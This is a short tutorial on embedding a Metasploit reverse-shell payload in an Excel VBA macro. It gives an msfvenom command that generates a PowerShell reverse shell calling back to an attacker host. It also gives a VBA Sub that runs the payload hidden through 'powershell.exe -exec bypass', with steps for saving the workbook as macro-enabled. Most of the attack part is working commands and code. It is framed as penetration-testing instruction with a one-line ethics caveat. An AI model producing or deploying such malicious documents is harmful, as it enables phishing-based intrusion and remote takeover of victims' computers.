The SECRET to Embedding Metasploit Payloads in VBA Macros

Introduction

This tutorial will guide you through the process of embedding Metasploit payloads into VBA macros, particularly focusing on integrating PowerShell stagers to create a reverse shell. This technique is particularly useful for penetration testing and security assessments, allowing you to gain initial access to a target system through crafted VBA macros.

Step 1: Generate PowerShell Payloads

To begin, you need to generate a PowerShell payload using Msfvenom or PowerShell-Empire. This will serve as the core of your VBA macro.

1. Open your terminal.

2. Use Msfvenom to generate a PowerShell payload with the following command:

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=your_ip LPORT=your_port -f psh > payload.ps1
   

   Replace your_ip with your local IP address and your_port with the port number you want to use.

3. Alternatively, if using PowerShell-Empire, follow the tool's instructions to create a similar payload.

Step 2: Format the PowerShell Payload

Once you have your PowerShell script, you need to format it to be embedded in the VBA macro.

1. Open your generated payload.ps1 file in a text editor.
2. Copy the content of the PowerShell script.
3. Format the script for VBA by encapsulating it in a string. For example:

   Dim payload As String
   payload = "your_power_shell_code_here"
   

   Replace your_power_shell_code_here with the content of your PowerShell script, ensuring that it maintains proper syntax.

Step 3: Create the VBA Macro

Now, you will create the VBA macro that will execute the PowerShell payload.

1. Open Excel (or another application that supports VBA).

2. Access the VBA editor by pressing Alt + F11.

3. Insert a new module:

   • Right-click on any of the items in the Project Explorer.
   • Select Insert > Module.

4. Paste the formatted code into the module:

   Sub ExecutePayload()
       Dim payload As String
       payload = "your_power_shell_code_here"
       ' Execute the PowerShell command
       Shell "powershell.exe -exec bypass -c " & Chr(34) & payload & Chr(34), vbHide
   End Sub
   

   Ensure you replace your_power_shell_code_here with the actual PowerShell payload string.

Step 4: Save and Test the Macro

Before testing, it's essential to save the workbook correctly.

1. Save the file as a macro-enabled workbook:

   • Go to File > Save As.
   • Choose Excel Macro-Enabled Workbook (*.xlsm).

2. Enable macros when you open the workbook to test the payload execution.

3. Run the macro:

   • Press F5 in the VBA editor or run it from the Excel interface to see if the payload executes successfully.

Conclusion

You have now successfully embedded a Metasploit payload into a VBA macro using PowerShell. This technique can be applied in various penetration testing scenarios to gain access to target systems. Always remember to use these skills ethically and within legal boundaries. For further learning, consider exploring more complex payloads or integrating additional features into your macros.